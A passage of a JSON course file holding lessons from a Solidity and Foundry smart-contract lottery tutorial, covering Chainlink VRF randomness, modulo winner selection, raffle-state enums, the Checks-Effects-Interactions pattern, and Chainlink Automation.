passed, let's envision an example:\n\n* When `block.timestamp` is 1000 and `s_lastTimestamp` is 500, the elapsed time equals 500.\n* If the `I_interval` is 600 seconds, meaning that not enough time has passed and therefore, no winner should be picked.\n\nHowever, if the `block.timestamp` is 1200, 1200 - 500 equals 700, which is greater than our `I_interval` of 600. That means, enough time has passed, and it's time to announce a winner!\n\n### The 'Snapshot' of Time\n\nAlso, we would need to take a 'snapshot' of time, which we'll do by creating a `private` state variable that remains in storage—an `S_lastTimestamp`.\n\n```js\nuint256 private s_lastTimestamp;\n```\n\nThe initial `s_lastTimestamp` value would be set right in the constructor as the `block.timestamp` immediately the contract gets deployed, to start the 'interval' clock.\n\n```js\nconstructor() {\n s_lastTimestamp = block.timestamp;\n}\n```\n\nBelow, in our `pickWinner` function, we'll revert the transaction if the condition doesn't meet, because not enough time would have passed.\n\n```js\nif (block.timestamp - s_lastTimestamp < i_interval) {\n revert();\n}\n```\n\nOn the last note, while it might seem tempting to add custom errors right now, remember, it's best practice to refactor them eventually. So, for now, let's stick to checking the elapsed time.\n\n**NOTE**: Remember to update `s_lastTimestamp` once the winner has been picked.\n\n```js\ns_lastTimestamp = block.timestamp;\n```\n\nStay tuned for my next blog post, where we take this to the next level and discuss how to make the `pickWinner` function automatically triggered.\n\n**Happy Coding!**\n", + "updates": [] + }, + { + "lessonId": "a21bd474-1086-4fe8-8545-33f6c33da57e", + "number": 6, + "slug": "solidity-random-number-chainlink-vrf", + "title": "Random numbers - Introduction to Chainlink VRF", + "description": "Introduction to using Chainlink VRF for generating random numbers in blockchain applications.", + "duration": 11, + "videoUrl": "9eFpFl519YMWGmaIfylEqbgDfhwvgPZZbZNrNcmrSkM", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/6-chainlink-vrf/+page.md", + "markdownContent": "***\n\n## title: Chainlink VRF\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nWelcome! It's time to explore the tech behind **random number generation** on the blockchain using Chainlink VRF! This post will walk you through the concepts, step by step, aided by a helpful video from Chainlink team. By the end, you will understand how to use Chainlink VRF to draw a random winner for your dApp.\n\n## What is Chainlink VRF?\n\nVRF stands for **Verifiable Random Function**, a technology that enhances cryptographic capabilities. Chainlink's implementation provides developers with improved scalability, flexibility, and usability. According to Richard, a developer advocate at Chainlink Labs, a key element of VRF is its **subscription model**.\n\n\n\n## Walkthrough: Integrating Chainlink VRF\n\nTo wrap our heads around Chainlink VRF, we'll follow a well-detailed example using the Chainlink Labs documentation and one of their setup tutorials. This guide will help you:\n\n* Understand Chainlink VRF.\n* Create and fund a subscription.\n* Deploy a contract that uses VRF.\n* Make a request to draw a random number.\n\n### Getting Started with Chainlink VRF\n\nJump into the [Chainlink Documentation](https://docs.chain.link/) and navigate to the **VRF section**. In this guide, we're skipping everything else to focus on obtaining a random number.\n\n### Create & Fund a Subscription\n\nTo use Chainlink VRF, you need to establish a subscription, which you can visualize as a bucket from which your contracts extract. Navigate to the **Subscription Manager** and create your subscription; you can input an email and project name for personalization.\n\nThe process requires confirmation on a **test network**. For simplicity, this guide uses the Sepolia test network referenced in most Chainlink documentation.\n\nIf you don’t already have ETH and link tokens, you can secure them from [Chainlink Faucets](https://faucets.chain.link/).\n\nOnce you've got your tokens, add funds to the subscription (e.g., 5 link tokens).\n\n### Adding VRF Consumers\n\nAt this point, you've created your subscription, poured in funds, and are ready to deploy your contract.\n\nYou need to let your subscription know about the contract you're deploying and vice versa. To help them work in synchrony, you add consumers to your subscription.\n\n\n\n### Deploying a Chainlink VRF Contract\n\nReturn to the Chainlink documentation and click to open **Remix**, a development environment that enables you to deploy and interact with your contract on the blockchain.\n\nThe Chainlink VRF contract comprises various components:\n\n* **Contract imports**: Coordinator interface, Consumer base and Confirmed owner.\n* **Contract variables**: Subscription ID, Request IDs, Key hash, and more.\n* **Functions**: `RequestRandomWords()`, `FulfillRandomWords()`, `getStatusRequest()` etc.\n\nThe ultimate objective is to use the `RequestRandomWords()` function to call for random values from the Oracle network. Once those values are ready, the `FulfillRandomWords()` function allows you to process those values back in your contract.\n\nTo deploy the contract, specify your **subscription ID** and approve the transaction.\n\n\n\n### Making a Request\n\nOnce you've deployed your contract, copy its address and register it as a consumer in your subscription.\n\nBack in Remix, call the `RequestRandomWords()` function and confirm.\n\nYour request will show as pending on the Subscription page. Completion times can vary based on the number of block confirmations you specified and the network you're using.\n\n### Confirming Request Completion\n\nTo check whether your request has been fulfilled, copy the ID from `lastRequest()` function, then use `getStatusRequest()` to get the current status.\n\n)Once your request is marked as 'Fulfilled,' you've successfully drawn ! your random values using Chainlink VRF.\n\nThe transcript calls a wrap at this point, but now that you know how to generate random numbers on the blockchain, the opportunities are limitless. You can assign random traits to NFTs, determine game asset allocations, and so much more.\n\n*Please note: Cloud-based RNGs are not recommended for high-value use-cases and a combination of on and off-chain RNGs can offer a robust solution.*\n\nThat was it for todays lesson! I hope you enjoyed it and learned something new. If you have any questions, don't forget to ask on the Github Forum.\n", + "updates": [] + }, + { + "lessonId": "e1986802-cc3d-40ed-8cbc-12e9375eb206", + "number": 7, + "slug": "implementing-chainlink-vrf", + "title": "Implement the Chainlink VRF", + "description": "Tutorial on deploying and integrating Chainlink VRF in smart contracts for random number generation.", + "duration": 17, + "videoUrl": "yJNYyP8RwIePTyc84rBPUIJWMgR47zWscxnHCJ019NMA", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/7-implementing-vrf/+page.md", + "markdownContent": "***\n\n## title: Implementing Chainlink VRF\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nToday, we will explore how to deploy a Chainlink Verifiable Random function (VRF) and integrate it into our existing code. It is a crucial element when we need to generate a random number within a blockchain application.\n\n## A Closer Look at Chainlink VRF\n\nBefore we dive into the process, let's take a closer look at Chainlink and its VRF.\n\nChainlink VRF provides auditable, transparent, and easily verifiable randomness in smart contract use-cases. It employs Verifiable Random Functionality, which takes a seed input to derive a Random output.\n\nThis process is done in a way that a third-party observer can public-verify the result, ensuring randomness that can't be biased or manipulated, because it leverages the security of the blockchain network itself.\n\nBrowse through the official [Chainlink documentation](https://docs.chain.link/docs/get-a-random-number/) to get a good first-hand experience of deploying and using Chainlink VRF. Different forms of usage are listed here, which will be explained below.\n\n## Getting Started with Chainlink VRF\n\nTo get started, fire up Remix and open the Chainlink documentation. Scroll down to the section titled `Get a Random Number` and look for the button labeled 'open in Remix'. This will bring up a code editor for you to modify.\n\nIn Remix, you will find pre-written code that uses the Sepolia chain as its default. Two primary methods are explained in the docs- one is Subscription, and the other is Direct Funding.\n\nSubscription is preferable as it scales better, as the contract pulls the link from a separate fund which you previously loaded up with the link.\n\n\n\nAfter setting up the subscription, you will promptly learn how to complete these steps programmatically, avoiding the need for navigating the user interface.\n\nThe primary goal is to add a randomization function. As developing with Chainlink VRF involves two transactions, the random number generation is also completed in two steps.\n\nFirstly, you send a request to generate a random number, followed by a second request to receive that random number. The request function signals Chainlink to select the lottery winner, while Chainlink returns the random number to the `callback` function, which announces the actual winner.\n\n## Implementing Random Number Function\n\nYou will find a code snippet in the 'Get a Random Number' section of the Chainlink documentation that will help you implement this random number fetch process.\n\nThe function call that enables this looks like this:\n\n```js\nuint256 requestId = i_vrfCoordinator.requestRandomWords(\n keyHash,\n s_subscriptionId,\n requestConfirmations,\n callbackGasLimit,\n numWords\n);\n```\n\nThis is the code you will insert into the existing code. After pasting the code, you will observe a multitude of red lines- don't worry; these will be resolved shortly.\n\nThis function requires a coordinator address, which is the address of the Chainlink VRF Coordinator to whom the random number is requested. This `keyHash` is your 'gas lane', and is something you can specify if you don't wish to consume much gas. Your `subscriptionId` is essentially the ID that you previously loaded with link to create requests.\n\nThe `requestConfirmations` is the number of block confirmations after which your random number is considered good, and the `callbackGasLimit` ensures you don't overspend on the request. Finally, `numWords` indicates the number of random numbers you require.\n\nOn receiving the request, Chainlink will return a `requestId`.\n\n## Configuring the Constructor\n\nThe `keyhash` is subject to variation depending on the chain, so I prefer calling it the 'gas lane'. As it's a constant in your smart contract, add `gasLane` to the constructor, making it an immutable variable.\n\nYou will need the VRF coordinator's address, which is unique to each chain, and thus needs to be passed through the constructor and made an immutable variable.\n\nYour `subscriptionId` will be specific to your Chainlink VRF subscription often received from the constructor, and the number of confirmations can be set as a constant variable- three confirmations being a common choice. The max gas for the callback function can be limited to prevent excessive gas costs caused by the second transaction when returning the random number.\n\n\n\nFinally, since you will only require one random number for selecting a winner, you can set the `numWords` as the constant variable equal to one. Now, when you fire and use Chainlink VRF, you can efficiently make a request.\n\n## Receiving a Response From Chainlink\n\nImplementing randomness into your contract is not simply about making request for a random number from Chainlink, you also need to be set up to receive that number back by implementing the function: `fulfillRandomWords`. This function is called by the Chainlink node, and should be set up to execute a specific action with the received random number- in this context, it will be selecting a lottery winner.\n\n## Wrapping It Up\n\nIn summary, the steps to implement Chainlink VRF are as follows:\n\n1. Make a request to Chainlink for a random number.\n2. Chainlink sends back that random number to a specified function, using VRF.\n3. Use the returned random number to pick a user as the lottery winner.\n\nThis lesson covered a range of helpful tips on how to deploy Chainlink, so feel free to go back through to fully understand the process. Generating secure and verifiable random numbers within the blockchain is an essential capability, and hopefully you now feel comfortable in deploying this for your future smart contracts. As always, happy coding!\n", + "updates": [] + }, + { + "lessonId": "023a2d78-25db-4e82-b91d-2e61a0a9ecb6", + "number": 8, + "slug": "solidity-modulo-operation", + "title": "The modulo operation", + "description": "Explanation of using the modulo operation for selecting random winners in smart contract games.", + "duration": 6, + "videoUrl": "j1wu9ue9Ii8QtCg5R4g9lXYpLih3cDgOy01u01hvRA014A", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/8-modulo/+page.md", + "markdownContent": "***\n\n## title: Modulo\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nIn this lesson, I'll walk you through how to use the modulo function for picking a winner randomly from a list of players in Solidity, a contract-oriented programming language for implementing smart contracts.\n\n## Understanding Modulo\n\nLet's discuss how the modulo function or 'mod' function works. Essentially, this function performs a division operation and returns the remainder after dividing.\n\nConsider the case where we divide 10 by 10 using the mod function. Since there is no remainder, the function returns zero. Conversely, if we divide 10 by 9, 9 out of the 10 are divided evenly leaving one left. In this case, 10 mod 9 equals one.\n\nThis logic can be extended to all numbers:\n\n* 2 mod 2 equals zero because 2 and 2 divide evenly.\n* 2 mod 3 equals one because there's one left over.\n* 2 mod 6 equals zero because 2 divides into 6 evenly.\n* 2 mod 7 equals one because there's one left over after 2 divides into 7 three times.\n\nThrough these examples, we can see that the modulo function helps us find the remainder of a division operation.\n\n## Modulo in Action\n\nLet's put the mod function into practice:\n\n```js\ncontract ExampleModulo {\n function getModTen(uint _num) public pure returns(uint) {\n return _num % 10;\n }\n function getModTwo(uint _num) public pure returns(uint) {\n return _num % 2;\n }\n}\n```\n\nIn this contract, we've got two simple functions, `getModTen` and `getModTwo`, that return the modulo ten and two of the given integer respectively.\n\nFor example, if we pass 123 into getModTen, it would return 3 because 120 divides evenly into ten leaving a remainder of 3. If we have a large number, say 102030405060708090, the function would return 2 because the number divides evenly into ten with a remainder of 2.\n\nUsing mod two gives us a different way to look at numbers. Any even number mod two will result in zero. If the number is odd, the result will be one.\n\n## Picking a Winner\n\nNow we're going to use the mod function to randomly select a winner from an array of players. Let's say `s_players` is of size ten and has ten players. We're generating a random number (RNG) to select the index for our winner.\n\n```js\nuint256 indexOfWinner = randomWords[0] % s_players.length;\n```\n\nIf our RNG is, say, twelve, we'll calculate `12 mod 10`, which equals two, and the player at index two in the array is our winner. Once we have the index of the winner, we write:\n\n```js\naddress payable winner = s_players[indexOfWinner];\n```\n\nThis returns the address of the randomly selected winner.\n\nBesides, we'll also keep track of the most recent winner, which helps in knowing who won most recently.\n\n```js\naddress private s_recentWinner;\ns_recentWinner = winner;\n```\n\n\n\n## Transferring Rewards\n\nNow, let's transfer the winnings to the selected winner.\n\n```js\n(bool success,) = winner.call{value: address(this).balance}(\"\");\n```\n\nHere, we transfer the entire balance of the contract (which are the ticket sales) to the winner.\n\nTo ensure that transfer was successful:\n\n```js\nif (!success) {\n revert RaffleTransferFailed();\n}\n```\n\nThis reverts the transaction and refunds the gas if the transfer isn't successful, ensuring the winner does not lose out.\n\nTo conclude, the modulo function helps to generate a random index within the length of the players array, resulting in a fair selection of the winner. This can be used in various blockchain-based games and applications to ensure a level playing field.\n\nStay tuned for more posts on coding smart contracts in Solidity!\n", + "updates": [] + }, + { + "lessonId": "1adf37cf-e707-49fb-bd19-55505e872df4", + "number": 9, + "slug": "solidity-enum-lottery-state", + "title": "Implementing the lottery state - Enum", + "description": "Discussion on using enums to manage different states in a raffle smart contract.", + "duration": 5, + "videoUrl": "1Xkvuy00zu01ZySDYkCvTInNddvHJ01JNd015TEFkdtB9Uc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/9-enum/+page.md", + "markdownContent": "***\n\n## title: Enum\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nWhen we delve into developing applications like a raffle, managing the different states of the event is equally critical as the event itself. We will extend our previous discussion about picking a winner in the raffle and lead into governing who can enter the raffle. Of course, if we are currently awaiting a random number to determine the winner, it's not fair for anyone else to enter the raffle then, right?\n\nTo handle these kinds of situations, we need a mechanism in place—a check on the state of the raffle to determine if it's currently open or not. This is where `enums` step into the picture, offering a clean, readable, and maintainable solution.\n\n## An Introduction to the Concept of Enum\n\nBefore we start, a brief introduction to enums seems appropriate. An enum, also known as enumerated type, is a data type consisting of a set of unique elements. Enums provide an effective way to create and manage constant values throughout your contract. In other words, they help avoid scatter variables, such as bool calculating\\_winner = false, and group them into a single variable of type enum. For more details, [Solidity docs](https://solidity.readthedocs.io) give a glimpse into enum types.\n\n```js\ncontract Example {\n enum ActionChoices {\n GoLeft,\n GoRight,\n GoStraight,\n SitStill\n }\n }\n```\n\nEvery enum creates a new type, like `ActionChoices` in this example, that can be used throughout the contract.\n\n### Creating Enums for Raffle State\n\nNow, back to our raffle contract. We will create an enum named `RaffleState` with two states—`open` and `calculating`.\n\n```js\nenum RaffleState {\n OPEN,\n CALCULATING\n }\n```\n\nPoint to remember: Enum elements can be converted to integers. So here, `Open` would be 0 and `Calculating` would be 1. Adding more states will increment the integers equivalently.\n\nTo utilize this enum, we will create a `RaffleState` variable, named `s_raffleState`, storing the current state of the raffle.\n\n```js\nRaffleState private s_RaffleState;\n```\n\n### Default Setting and Transitioning States\n\nBy default, let's keep the raffle state `Open` (we do want the participants to rush in, don't we?). So, right in the constructor, assign the default state.\n\n```js\ns_raffleState = RaffleState.Open;\n```\n\nNow, extending our `enterRaffle` functionality, we will include a check to ensure the raffle is not in the `Calculating` state.\n\n```js\nif (s_raffleState != RaffleState.OPEN) {\n revert Error(\"RaffleNotOpen\");\n}\n```\n\nAnd subsequently, declare this error at the beginning of your contract.\n\n```js\nerror RaffleNotOpen();\n```\n\nNow, no entries can be made while the contract is calculating a winner.\n\n### State Transition during Winner Calculation\n\nWhen it's time to choose the winner (`pickWinner`), we will shift the state to ‘Calculating’.\n\n```js\ns_raffleState = RaffleState.CALCULATING;\n```\n\nRemember, as long as we are waiting for the random number, no one is allowed to enter the raffle.\n\nAnd once we have our lucky winner(s), it's time to switch the raffle state back to `Open` — let the game begin again!\n\n```js\ns_raffleState = RaffleState.OPEN;\n```\n\nSo your raffle is **open** to the public again … the adrenaline rush continues, building up to the next exciting round of winner selection!\n\n## Conclusion\n\nEnums offer a compact, clear way of representing and managing different states within your contracts. In our raffle example, we used this powerful feature to control who can enter the raffle and when. By using enums, we make our contracts more readable and modular and ensure they follow good programming practices. Make sure you use this feature to its fullest when programming your next Solidity contract!\n", + "updates": [] + }, + { + "lessonId": "6ded233d-f088-4db0-aa90-aab75f471d44", + "number": 10, + "slug": "resetting-array", + "title": "Lottery restart - Resetting an Array", + "description": "Exploration of resetting player arrays in smart contracts to start new game rounds.", + "duration": 2, + "videoUrl": "MLncC2ZviCAEkRz5Jv02axZGSemO6YeRDwTZVOxeh1hk", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/10-resetting-array/+page.md", + "markdownContent": "***\n\n## title: Resetting an Array\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nIn this lesson, we will delve into the deeper components of smart contract design by focusing on starting a new game or resetting a stage in a lottery game. An essential factor to consider here is to ensure that no old players from the previous round can participate in the new lottery round without entering.\n\n### Resetting the Player Array\n\nFirstly, the player's array, denoted as `s_players`, needs to be reset for every new lottery round. If left untouched, `s_players` would still hold players from the previous lottery, allowing them to participate in new rounds without necessarily entering again – a loophole we definitely want to avoid!\n\nHere's how to do that:\n\n```javascript\n// Initialize new player array\ns_players = new address payable[](0);\n```\n\nThis code resets the `s_players` array into a new empty array. With this, we're all set to start accepting players for the new round!\n\n### Ticking Off The New Round's Timestamp\n\nNext, to keep track of when the new lottery round begins, we update the `s_last_timestamp` with the current block timestamp.\n\n```javascript\n// Update the timestamp\ns_last_timestamp = block.timestamp;\n```\n\nWith the timestamp updated, the clock automatically starts ticking for the new lottery round.\n\n### Emitting an Event on Winner Declaration\n\nAfter successfully resetting the state and declaring a winner, it is generally a good practice to emit a log event. This creates a simple and efficient way to inform anyone interested about the winner and can be useful for debugging or auditing contract executions.\n\nLet's create a new event called `WinnerPicked()`:\n\n```javascript\n// Creating new event\nevent WinnerPicked(address indexed winner);\n```\n\nHowever, to better capture the process, we can change the name from `WinnerPicked` to `PickedWinner`. Sounds more like an action, right?\n\n```javascript\n// Emitting the event\nemit PickedWinner(most_recent_winner);\n```\n\nThis emits a `Picked Winner` log with the winner's address every time a new lottery round begins.\n\nTo conclude,\n\n\n\nWhile there's no standardized naming convention for events in smart contracts, it's a good idea to keep names consistent, meaningful, and action-derived.\n\nThat sums up how to restart a new lottery round in a smart contract. Incorporating these practices in your future Ethereum smart contracts will ensure fair gaming and accurate auditing.\n", + "updates": [] + }, + { + "lessonId": "896f5895-3b03-4098-8852-857e03996efd", + "number": 11, + "slug": "note-on-building", + "title": "Important: Note on learning by building", + "description": "Insights into the true process of building solidity projects, highlighting the iterative nature of coding.", + "duration": 2, + "videoUrl": "k7PB1WJkN6bUEf01EA9LKw5c00eC02nUZxyw102COosxdDQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/11-note-on-building/+page.md", + "markdownContent": "***\n\n## title: Note on Building\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nWhen it comes to building solidity projects, things may seem a bit too linear or straightforward when you watch a demo or read a tutorial. You may assume that I just go straight from the start to the finish without pausing, but this isn't always the case. In this piece, We aim to peel back the curtain and reveal the actual process — back and forth movements, the surprises, and the frequent pausing for debugging that are the actual hallmarks of building solidity projects effectively.\n\n## Breaking the Illusion of Once-through Coding\n\nFirstly, my seeming seamless way of doing these demos is not indicative of what normally happens when I code. It appears as if I am easily writing this contract from the beginning to the end, but that's far from the reality.\n\nHere, you might be impressed with how quickly and seamlessly we are coding this contract, but don't be fooled - it's not typical to write a contract in one go. In fact, it's not even possible to write a contract in one go. It's a process of writing, testing, and refactoring.\n\nBut the reality behind this façade is that We've carried out such demonstrations repeatedly. We've written this code countless times and spent vast hours refining our skills in solidity.\n\n## \"Piece by Piece\" Methodology\n\nWhen coding, rather than tackling the entire project as a whole, it's often beneficial to break it down. Rather than writing a contract in one go, which can be incredibly challenging, I find myself writing a deploy script and testing individual components of the contract, part by part as I build it.\n\n```markdown\n// As an example, at this point in my coding, I probably would have written tests\n// for various functions such as 'get entrance fee', 'pick winner' and 'enter raffle'.\n```\n\nWriting tests while coding is incredibly beneficial. In fact, it's a necessary practice when writing real projects. However, in this demonstration, I won't be writing tests or deploying scripts immediately.\n\nThe reason isn't that these steps aren't important — they absolutely are — but rather because we'll be performing extensive refactoring as we progress, and it's pointless to write tests for code that will soon be modified or discarded.\n\n## Understanding the Real Coding Project\n\nI must emphasize that this modeling doesn't portray reality accurately. True, it breaks down the functions and processes into understandable pieces. However, it veils the moments of debugging, the constant going back-and-forth, the nights when the code doesn't compile, and you can't figure out why.\n\n```markdown\n// When you're coding a real project, you may encounter setbacks like compilation errors and other bugs\nthat may require you to troubleshoot and refactor your program.\n```\n\nHowever, here is an essential truth:\n\n\n\nSo, as you journey through coding projects, remember to take a deep breath and hop back into it whenever you experience any of these hitches. It's okay, and it's good. It means you're learning, and with every bug fixed or problem solved, you become a better programmer.\n\nSo next time you see me sailing through a demo or tutorial, remember there's more to it than meets the eye. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "1eb044f4-5ca5-49ff-a426-2d428dc7db5c", + "number": 12, + "slug": "cei-method-checks-effects-interactions", + "title": "The CEI method - Checks, Effects, Interactions", + "description": "An overview of the Checks-Effects-Interactions pattern for secure and efficient smart contract development.", + "duration": 3, + "videoUrl": "X2ZL7StB5N02d02S4vScFmQo2Hr5uqZjFTylmOmopTTQg", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/12-cei/+page.md", + "markdownContent": "***\n\n## title: Checks, Effects, and Interactions\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nIn this lesson, we'll explore a critical design pattern that every smart contract developer needs to know - the Checks-Effects-Interactions (CEI) pattern. By adhering to this pattern, you'll ensure your smart contracts are more secure and maintainable.\n\n## Understanding the Checks-Effects-Interactions (CEI) Pattern\n\nCoding smart contracts requires a particular style called Checks-Effects-Interactions or CEI. This is one of the several design patterns that smart contract developers need to maintain in their coding processes. Following the CEI pattern increases the overall security of your contracts.\n\nThe CEI pattern involves three detailed steps:\n\n1. **Checks:** This is the initial step where you do all your validations or checks. An example could be your `requires` or `if-then` errors. Generally, it's more efficient to place these checks at the very beginning of your contract. The reason is they are more gas-efficient. In a situation where you need to revert, doing so at this stage will save more gas than performing other computations only to revert later.\n2. **Effects:** In this step, you make changes or \"effects\" within your own contract.\n3. **Interactions:** This final step involves interactions with other contracts. One crucial point to note here is it's best to interact with outside contracts last.\n\nOne of the reasons to follow this pattern is to avoid reentrancy attacks, a common vulnerability in smart contracts. Understanding and implementing the CEI pattern early on means you're proactively safeguarding your contracts from potential attacks.\n\n## Effective Handling of External Interactions and Events\n\nWhile discussing the third step of the CEI pattern – interactions, we should touch on the usage of events and their placement in the code. Emitting an event at the end might seem like an external interaction, but it's not. It would be best to move it before we have any interactions with external contracts.\n\n\n\nThere can be a debate about the position of events. Some developers prefer positioning them after the interactions. However, if we take a look from the code review or audit perspective, it's usually recommended to place the event before the external interactions, largely because of several reasons that we'll cover in subsequent blog posts.\n\nIn conclusion, the Checks-Effects-Interactions (CEI) pattern is a cornerstone of secure, gas-efficient smart contract development. Remember this design pattern and apply it consistently when developing your smart contracts: always do your checks first, followed by the effects, and finally perform external interactions. Following this approach is a step in the right direction towards ensuring you're always delivering robust and secure smart contracts.\n", + "updates": [] + }, + { + "lessonId": "4ccf702a-906a-4dae-a78d-cc692656a4cd", + "number": 13, + "slug": "chainlink-automation", + "title": "Introduction to Chainlink Automation", + "description": "This lesson covers the basics of Chainlink Automation, essential for automating the 'Pick Winner' function in a lottery application. It delves into the use of Chainlink VRF for randomness and explores time-based automation and custom logic through Chainlink.", + "duration": 16, + "videoUrl": "eRzB01Z993VKnPOHqQ74hTQPghNYUXvcCID8ZhfMQoDs", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/13-chainlink-automation/+page.md", + "markdownContent": "***\n\n## title: Chainlink Automation Introduction\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nWe've been working towards building a lottery application with Chainlink VRF to handle the randomness needed to pick a winner. So far, we've developed a `Pick Winner` function which initiates a Chainlink VRF call and carries out the `fulfill` function to generate a random number and select a winner from the lot. However, the current flow has an issue; the `Pick Winner` function isn’t called automatically - leaving it up-to manual intervention.\n\nThis is where the beauty of automation kicks in. As software engineers, we aim for efficient and effective solutions. Speaking of efficiency, I’d like to introduce you to **Chainlink Automation**, which will allow us to automatically run our `Pick Winner` function.\n\n## Using Chainlink Automation\n\nThe [Chainlink documentation](https://docs.chain.link/chainlink-automation/introduction) provides a wealth of information when it comes to automation. We can access guides from the `Automation` tab present on the left-hand panel. For our purpose, we'll be exploring the `Time Based` automation and `Custom Logic` sections.\n\nAlthough this guide shows how to work with Chainlink from the UI, we will be primarily approaching this programmatically - remaining true to our prudent working style!\n\nIf we scroll down, we can find an example of a contract named `Create Compatible Contracts` suitable for use with Chainlink automation. Either you can try it out in the Remix IDE yourself or we can collectively go through a video where Richard, one of the developer advocates at Chainlink Labs, explains Chainlink Automation and conducts a demonstration.\n\n## Exploring Automatic Keepers\n\nIn this video, Richard provides a walkthrough on updates to Chainlink’s Keepers, starting with how to connect a wallet from the Chainlink Keepers UI, registering a new upkeep, and implementing time-based trigger mechanisms.\n\nThe `Keepers Chainlink` page has changed a bit, but it’s quite straightforward. Upon registering a new upkeep, you will find the `trigger` option. As Richard explains, this option is extremely useful for implementing timed-based triggers which was formerly achieved by checking upkeep with block hashes.\n\nAfter connecting the wallet and setting up the Keepers, the next step is to work on a simple contract known as `Keeper compatible contracts`. If you’ve worked with previous versions, you'll recognize the `check Upkeep function` and `perform Upkeep function`.\n\n## Modifying the Contract\n\nTime to roll up our sleeves and modify this sample contract. As explained, `Remix` is an online IDE for developing solidity smart contracts, which we will be using to modify our existing contract. We aim to create the same functionality in an easier, more readable way.\n\nStarting with a contract count function that doesn’t require any external input, we aim to increment the counter at regular intervals. Notably, with time-based triggers, we can get rid of the `check upkeep` function and `perform upkeep` function.\n\nUpon getting rid of unnecessary functions, the contract is compiled, displaying a green checkmark for successful compilation. From there, constructor values are set and deployed. In this case, the contract was deployed to the `Fuji Avalanche Test Network`.\n\n## Using Keepers in Practice\n\nNext, we head to the `Keepers` interface and fill necessary details like the address of our contract and schedule for triggering in terms of Cron syntax. Post registration, you may need to receive some link tokens - which you can get from the faucet linked from the register page.\n\nAfter registering and making necessary confirmations, the interface will present a page detailing the upkeep, historical data, and options for editing gas limits or adding more link tokens.\n\nJust like that, using Chainlink Keepers, we're able to automate our smart contracts! Tiny contracts that are easy to understand and cleaner, just how we like them.\n\n\n", + "updates": [] + }, + { + "lessonId": "28181c1e-a98a-47a4-b2f3-a246b5e6c62f", + "number": 14, + "slug": "implementing-automation-2", + "title": "Implementing Chainlink Automation", + "description": "Focusing on implementing Chainlink Automation, this lesson teaches how to use `checkUpkeep` and `performUpkeep` functions for automated execution in Chainlink-powered smart contracts, enhancing their autonomy and efficiency.", + "duration": 10, + "videoUrl": "QREFbD6S7FZi6HK3011qYQk6wAxD21lKIf100DUAVhXeY", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/14-implementing-automation-2/+page.md", + "markdownContent": "***\n\n## title: Implementing Chainlink Automation\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n### Defining the Setup Functions\n\nTo implement Chainlink automation, we utilize two key functions: `checkUpkeep` and `performUpkeep`. These functions will allow our Chainlink nodes to automatically start the lottery whenever necessary.\n\nCurrently, our code includes a function named `pickWinner`. We will modify this function to permit Chainlink Automation to initiate contract calls as opposed to the manual initiation process currently in place.\n\n### Creating the `checkUpkeep` function\n\nOur first step is to create a `checkUpkeep` function. This function notifies the Chainlink nodes when it's due time to call `Perform upkeep`.\n\nTypically, the function definition may look something like this:\n\n```js\nfunction checkUpkeep(bytes memory checkData) public view\nreturns (bool upkeepNeeded, bytes memory performData) {}\n```\n\nAt a basic level, the function checks several conditions:\n\n* If the required time interval between raffle games has passed.\n* If the raffle is in the open state\n* If the contract has any ETH (meaning there are players)\n* If the subscription is funded with LINK.\n\n### Creating the `performUpkeep` function\n\nOnce `checkUpkeep()` has determined it's time for an update, it's the `performUpkeep()` function's task to trigger the actual update.\n\nThe performUpkeep function first verifies if it is indeed time to initiate an update by calling `checkUpkeep`. If the check is not passed, it will revert with a custom error called `raffle upkeep not needed`.\n\nHere's a basic implementation of the `performUpkeep` function:\n\n```javascript\nfunction performUpkeep(bytes calldata /* performData */) external override {\n (bool upkeepNeeded, ) = checkUpkeep(\"\");\n // require(upkeepNeeded, \"Upkeep not needed\");\n if (!upkeepNeeded) {\n revert Raffle__UpkeepNotNeeded(\n address(this).balance,\n s_players.length,\n uint256(s_raffleState)\n );\n }\n s_raffleState = RaffleState.CALCULATING;\n uint256 requestId = i_vrfCoordinator.requestRandomWords(\n i_gasLane,\n i_subscriptionId,\n REQUEST_CONFIRMATIONS,\n i_callbackGasLimit,\n NUM_WORDS\n );\n // Quiz... is this redundant?\n emit RequestedRaffleWinner(requestId);\n }\n```\n\n### Conclusion\n\nBy setting these functions in your contract, you can make your smart contracts more autonomous and efficient. Eliminating the need for manual interaction with your contracts enhances their performance greatly.\n\nSuccessfully compiling this script demonstrates how Chainlink automation can be adopted to automatically trigger our lottery. Consequently, we can entirely entrust Chainlink to do the heavy lifting of handling our raffle game schedules.\n\n\n", + "updates": [] + }, + { + "lessonId": "d02f2d11-7ac8-4346-bd99-3a8f3c419fd6", + "number": 15, + "slug": "lottery-mid-lesson-recap", + "title": "Mid section recap", + "description": "A recap of the progress in developing a fair and transparent lottery system using Chainlink's VRF. The lesson revisits key concepts like the raffle contract, buying into the raffle, and the decentralized draw process.", + "duration": 2, + "videoUrl": "2smxFMZa6kaE6MwUBzDABlI01sJxD01JFL6UScbNx6zuI", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/15-mid-lesson-recap/+page.md", + "markdownContent": "***\n\n## title: Mid-Lesson Recap\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n# Decoding our Smart Contract: A Dive into Chainlink VRF\n\nCongrats on making it this far! You're earning your stripes as a blockchain developer. Let's take a step back and review what you've accomplished so far, draft a roadmap for what's next, and allow the elegance of your well-written smart contract to sink in.\n\n)## The 'Raffle Contract' - Going Beyond Vanilla\n\nYour robust 'raffle contract' trusts Chainlink's 